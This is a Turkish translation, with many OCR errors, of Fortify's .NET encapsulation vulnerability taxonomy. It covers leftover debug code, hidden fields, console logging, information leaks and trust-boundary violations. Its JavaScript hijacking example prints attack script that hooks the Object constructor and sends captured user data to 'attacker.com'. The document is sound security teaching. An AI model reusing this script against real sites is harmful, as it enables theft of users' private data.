Encapsulation Hatalari
Fortify Taxonomy: Software Security Errors

C# / VB.NET / ASP.NET -Encapsulation

(https://www.fortify.com/vulncat/en/vulncat/dotnet/Encap.html)

Semih Gelisli, sgelisli-at-gmail-dot-com, 26 Eyliil 2011

Encapsulation giigli sinirlar ¢cizmekle ilgilidir. Bir web tarayicisinda, sizin degisken kodunuzun
baska bir degisken kod ile istismar edilemeyeceginin saglanmasi anlamina gelebilir. Sunucu
Uzerinde ise gegerli veri ve kontrol edilmemis veri arasinda, bir kullanici verisi ile baska bir
kullanici verileri arasinda veya kullanicinin gérmesine izinli olan veri ile gormesine izinli
olmadigi veri arasindaki ayrim anlamina gelebilir.

a) ASP.NET Kot Kullanimlar: Artakalan Debug Kodlari

Ozet

Debug kodlari yayinlanmis bir web uygulamasinda istenmeyen giris noktalari
olusabilir.

Ac¢iklama

Debug etmek veya test amagh kullanim igin tasarlanmis “Back Door” kodlarini
uygulamaya ekleme isleminin uygulama ile yayinlanmasi veya dagitilmasi yaygin gelistirme
hatalarindandir. Bu tir bir debug kodu yanlislikla uygulama iginde birakildiginda uygulama
istenilmeyen etkilesim tirlerine agik hale gelebilir. Bu tiir “back door” giris noktalari givenlik
riski olusturur ¢linkii bu kodlar uygulamanin test ve dizayn asamasinda dikkate alinmaz ve
uygulamanin beklenen ¢alisma kosullari disinda kalmaktadir.

En ¢ok unutulan debud kodlarindan biri ise Main() metodunun web uygulamasi iginde
gozikmesidir. Uygulama gelistirme esnasinda bu kullanim kabul edilebilir olmasina ragmen
ASP.NET uygulamasinin siniflarinda Main() tanimi yapilmamalidir.
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b) Gizli Alan (Hidden Field)
Ozet
Uygulama gizli bir form alani olusturur.

Ac¢iklama
Uygulama gelistiriciler kullanicilarin gizli alanlar géremeyeceklerini veya igerigini
degistiremeyecegini diisiinerek gizli alanlara genellikle glivenirler. Saldirganlar bu
varsayimlari ihlal ederler. Onlar gizli alana yazilmis verinin igerigini incelerler ve degistirirler
veya zararli kodu var olan verinin yerine koyarlar.
Ornek:
HtmllinputHidden hidden = new HtmlInputHidden();

Gizli alanlar hassas bilgileri iceriyorsa bu verilerde sayfanin diger kisimlari ile ayni
sekilde dnbellege alinir. Kullanicinin bilgisi olmadan bu hassas veriler tarayici dnbelleginde
tutulmus olabilir.
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c) JavaScript Hijacking(Ele Gegirme): Korunmasiz Framework

Ozet

Yetkisiz bir kisinin gizli verileri okumasina olanak saglayan Microsoft AJAX.NET(Atlas)
baskisi altinda olan uygulamalar Javascript ele gecirilmesi durumuna karsi savunmasizdir.

Ac¢iklama
Microsoft AJAX.NET (Atlas) sunucu ve istemci arasindaki veri transferi icin JSON
kullanir. Framework gegerli Javascript i¢in yanitlar olusturur ve <script> etiketi kullanilarak
degerlendirilir ve bu nedenle Javascript ele gegirmesine karsi savunmasizdir. Varsayilan
olarak framework istekleri gndermek igin POST yontemini kullanir ve bu yontem koti niyetli
bir <script> etiketli bir istegi olusturmayi zorlastirir(<script> etiketlerinin sadece GET istegi
olusturdugundan beri). Ancak Microsoft AJAX.NET GET istegini kullanmak i¢in mekanizma
saglar. Aslinda ¢ogu uzman, gelistiricileri GET istegi kullanarak tarayici 6nbellegi avantajini
kullanmak ve performansi gelistirmek icin cesaretlendirir.
Uygulama veya Framework Javascript ele gegirmesine agik durumda olabilir eger;
«»+ Veri aktarimi i¢in Javascripti kullaniyorsa
«» Gizli verileri tutuyorsa
Web tarayicilarn kullanicilarini kot niyetli web sitelerinden korumak igin “Same
Origin” adh politikay zorunlu kilmaktadir. “Same Origin” politikasi, JavaScriptin web



sayfasinin igerigine erisebilmesi icin web sayfasinin ve JavaScriptin ayni domainde olmasini
sart kosar. “Same Origin” politikasi olmadigi durumda koti niyetli web siteleri diger web
sitelerinizden size ait hassas bilgileri alarak saldirganlara iletebilir.

Web uygulamasi gizli bilgi iletisimi icin JavaScript kullanir ise JavaScript ele gegirme
islemi “Same Origin” politikasini atlatabilir. “Same Origin” politikasinin teknik boslugu
JavaScript’e bir sitenin igerigini baska bir sitede ¢alistirmasina veya icermesine izin
vermesidir. Kotl niyetli sitenin savunmasiz bir site tarafindan yiklenen veriye istemci
Uzerinde direk ulasma imkani olmamasina ragmen bu teknik bosluktan yararlanarak
JavaScript’in ¢alisma seklini ve JavaScript ile ilgili yan etkileri gézlemlemesine olanak verecek
ortami olusturur. Web 2.0 uygulamalarindan sonra veri transferi igin JavaScript kullanan
uygulamalar geleneksel uygulamalara gére savunmasizdirlar.

JavaScript ile bilgi iletisimi igin kullanilan en yaygin format JavaScript Object
Notation(JSON)’dir. JSON RFC, JSON sdzdizimini JavaScript obje s6zdizimin bir alt kiimesi
olarak tanimlar. JSON, iki tlr veri yapilarina dayalidir: Diziler ve nesneler. Bir yada daha fazla
JavaScript ifadelerine gevrilebilen veri transfer formatlari JavaScript ele gegirme durumuna
karsi savunmasizdir. JSON, dizileri JavaScript ifadeleri ile tanimlayarak kendi lizerinde tutar ve
bu durum JavaScript ele gegirilmesini daha kolay hale getirmektedir. Diziler dogal bir iletisim
listesi oldugundan beri uygulamalar birden ¢ok degeri iletecegi durumlarda genellikle diziler
kullanilmaktadir. Baska bir deyisle, JSON dizi kullanimi JavaScript ele gegirilmesine karsi
savunmasizdir. JSON objeleri eger JavaScript ile sarmalanmis ve kendi JavaScript ifadeleri ile
tanimlanmis ise savunmasizdir.

Ornek:

Asagidaki 6rnek, satislari yonetmek igin kullanilan istemci ile web uygulamasinin sunucu
bilesenleri arasinda kurulmus JSON etkilesimi ile baslamaktadir. Daha sonra saldirganin
istemciyi taklit ederek sunucudan donen bilgilerin kontrollini nasil kazandigini
gostermektedir. Bu 6rnegin Mozilla tabanli web tarayicida yazilmis oldugunu unutmayin.
Diger bilinen web tarayicilar, yeni isle¢ kullanilmadan tanimlanan objelerde yerel
constructor’larin degistiriimesine izin vermemektedir.

istemci, sunucudan veri isteginde bulunur ve dénen sonucu JSON olarak degerlendirir:

var object;

var req = new XMLHttpRequest();
reg.open("GET", "/object.json",true);
req.onreadystatechange = function ()

{
if (req.readyState == 4)
{
var txt = req.responseText;
object =eval("(" +txt +")");
req = null;
}
|3

req.send(null);

Kod calistiginda suna benzer bir http istegi olusturur:
GET /object.json HTTP/1.1

Host: www.example.com



Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c50zxi0J55QZTr4a5YJaSbAiTnRR

(Bu HTTP yanitinda ve asagindakinde bu agiklama ile dogrudan ilgili olmayan bilgiler
kaldiriimistir.)
Sunucu JSON formatinda bir dizi ile yanit verir:

HTTP/1.1 200 OK

Cache-control: private

Content-Type: text/javascript; charset=utf-8
[{"fname":"Brian", "Iname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@fortifysoftware.com" },
{"fname":"Katrina", "Iname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@fortifysoftware.com" },
{"fname":"Jacob", "Iname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@fortifysoftware.com" }]

Bu durumda JSON kullanicr ile ilgili hassas bilgiler(satis firsatlari listesi) icerir. Diger kullanicilar
kullanici giris bilgilerini bilmeden bu bilgilere ulasamazlar(Modern web tarayicilarinda
oturum bilgileri cerez olarak saklanir.). Ancak bir kurban koti niyetli bir web sitesini ziyaret
ederse JavaScript ele gegirilme ile bilgilerini ¢aldirabilir.
Eger kurban asagidaki kodu iceren kotl niyetli web sitesine girerse kullanici bilgilerini
saldirgana gondermis olabilir.

<script>

// constructor tekrar yazilarak bitiin objelerin olusturulmasini sagliyor

// boylelikle "email" alani doldurulsa bile

// captureObject() metodu bilgileri alarak istenilen adrese bilgileri gonderiyor

function Object()

{

this.email setter = captureObject;

//ele gecirilen bilgiler saldirganin web sitesine geri génderiliyor
function captureObject(x)
{

var objString ="";

for (fld in this)

{

objString += fld + ": " + this[fld] + ", ";

}
objString += "email: " + x;
var req = new XMLHttpRequest();
reg.open("GET", "http://attacker.com?obj=" + escape(objString),true);
req.send(null);
}

</script>

<!—script etiketini kullanicinin bilgilerini getirmek igin kullanin -->
<script src="http://www.example.com/object.json"></script>



Kot niyetli kod JSON objelerini iceren script etiketini kullanmaktadir. Web sayfasi istek ile
uygun oturum gerezini gonderecektir. Diger bir deyisle bu istegin orijinal web uygulamasinin
istedigini dislinecektir. JSON dizisi istemciye geldiginde kot niyetli bir sayfa icerigi olarak
degerlendirilmelidir. JSON degerlendirmesine taniklik etmek i¢in kot niyetli sayfa JavaScript
fonksiyonunu yeniden tanimlayarak yeni objeler olusturmak i¢in kullanmaktadir. Bu sekilde
kot niyetli kod, her objenin olusturulmasina erisebilecegi ve objelerin igeriklerini kotl niyetli
siteye gonderen bir kanca atmaktadir. Diger saldirilar varsayilan dizilerin igin olan
constructor’i yeniden diizenleyebilir.

Birbirinden bagimsiz web servisi saglayan uygulamalari bir araya getirmek igin kullanilan
uygulamalar bazen JavaScript mesajlarinin altinda bir geri ¢cagirma fonksiyonu
kullanmaktadirlar. Geri ¢agirma fonksiyonu bagimsiz web servis saglayan uygulamalari bir
araya getiren uygulamalardan baska bir uygulama tarafindan taniml oldugu anlamina
gelmektedir. Geri ¢agirma fonksiyonu JavaScript ele gegirme islemini 6nemsiz bir mesele
yapar- Tiim saldirganlar bunu yapmak zorundadir. Uygulama, bagimsiz web servisi
uygulamasi olabilir veya giivenli olabilir fakat her ikisi birden olamaz.

Kullanici savunmasiz sitede oturum agmamis ise saldirgan kullanicinin oturum agmasini
isteyebilir ve daha sonra uygulamanin gergek oturum agma sayfasini ekranda gosterebilir. Bu
bir phishing saldiri degildir- saldirgan kullanicinin erisim bilgilerini almaz- bu ylzden anti-
phishing 6nlemleri etkili olmaz.

Daha kompleks saldirilar dinamik etiketleme igin JavaScript kullanarak uygulamadan seri
isteklerde bulunabilir. Ayni teknik farkl web siteler tarafindan kullanilan uygulamalarin kendi
web sitenizde kullanilmasi uygulamasi yaratmakta da kullanilir. Tek farki ilgili uygulamalardan
biri kotl niyetli uygulamadir.

d) Zayif Loglama Uygulamasi: System Output Stream Kullanimi

Ozet

Programa ayrilmis log dosyasi tutmak yerine Console.Out veya Console.Error
kullanmak programin davranislarini izlemeyi zorlastirir.

Ac¢iklama
Ornek 1:
Program yazmayi 6grenen kisilerin ilk yazdiklari .NET programi genellikle suna benzer:

public class MyClass

{
public static void Main(string[] args)
{
Console.WriteLine("hello world");
}
}

Cogu yazilimer .NET ayrintilarini ve alt bashklarini 6grenmeye ¢alistiginda, bu ilk
derste 6grenilen kalip mesajlari ekrana basmak icin Console. WriteLine() metodunu
kullanmaktan vazgegmeyen programci sayisi sasirticidir.

Standart ¢ikti veya standart hatalarin loglamanin bir pargasi olarak kullanilmamasi bir
sorun teskil eder. Yapisal log olanaklari, loglama leveli, diizglin bigcimlendirme, log tanimlayici,
zaman damgasi ve belkide en kritigi log mesajlarini dogru yerlere yonlendirmesi 6zelliklerine



sahiptir. System Output Streamler ile loglama yapan kod ile karistirilirsa genellikle ortaya
kritik bilgilerden eksik dlizenli bir loglama gikar.

Yapilandirilmis loglama ihtiyaci yaziimcilar arasinda genel bir kabul gormuistiir ama
¢ogu uygulama gelistirici gelistirme asamasinda System Output Stream kullanmaktadir.
Gozden gecirdginiz kod, gelistirme asamasinin ilk asamalarini gegmis ise Console. WriteLine
kisimlari yapilandiriimis loglama igin gbzden kagirilmis noktalar olabilir.
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e) Sistem Bilgisi Sizmasi

Ozet

Sistem verilerinin ifsa olmasi veya debug verileri saldirganlara sistem hakkinda bilgi
verir ve saldiri plani yapmalarina yardimci olur.

Ac¢iklama

Sistem veya debug bilgisi programda ¢ikti veya loglama fonksiyonundan dolayi ortaya
¢ikarsa bu bir sistem sizmasina sebep olur.

Ornek:

Asagidaki kod konsola bir istisna yazdirir:

try
{
} catch(Exception e)
{

Console.Writeline(e);
}

Sistem konfiglirasyonuna goére bu bilgiler konsola, bir log dosyasina yada uzak bir
kullaniclya gonderilir. Bazi durumlarda hata mesajlari sistemin hangi saldirilara karsi
savunmasiz oldugunu agiklayabilir. Ornegin, bir veri tabani hatasi uygulamanin SQL injection
saldirisina savunmasiz oldugunu ortaya gikarabilir. Diger hata mesajlari sistem hakkinda daha
fazla ipucu ortaya ¢ikarabilir. Yukaridaki 6rnekte arama yolu; isletim sistemi, sistemin lizerine



kurulu uygulamalar ve adminlerin programin konfiglirasyonuna koyduklari bakim miktari
hakkinda bilgi anlamina gelebilir.
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f) Guven Sinir ihlali

Ozet

Guvenilen ve glivenilmeyen verilerin karisiminin ayni veri yapilari igcinde olmasi
gelistiricileri kontrol edilmemis verilere yanhslikla glivenmesine tesvik eder.

Ac¢iklama

Guven sinir bir programla ¢izilmis ¢izgi gibi distinilebilir. Cizginin bir tarafindaki
veriler glivenilir degildir. Cizginin diger tarafindaki veriler glvenilir sayilir. Veri dogrulama
mantiginin amaci verilerin gliven sinirini giivenli bir sekilde gegmesine izin verir -
Guvenilmeyen taraftan gilivenilen tarafa.

Program glivenilen ve glivenilmeyen veri arasindaki gizgiyi bulaniklastirirsa gliven
siniri ihlali olusur. Bu hatayl yapmanin en yaygin yolu giivenilen ve glivenilmeyen verilerin
ayni veri yapilari iginde karistirilmis olmasidir.

Ornek:

Asagidaki C# kodu HTTP istegi alir ve kullanicinin oturumu agabildigine bakmadan
bilgilerini HTTP oturum objesinde saklar.

usrname = request.ltem("usrname");
if (session.ltem(ATTR_USR) == null)

{
session.Add(ATTR_USR, usrname);

lyi yapilandiriimamis ve korunmamis giiven sinirlari ile gelistiriciler verilerin hangi
parcalarinin dogrulanmis hangilerinin dogrulanmamis oldugunu kagirirlar.
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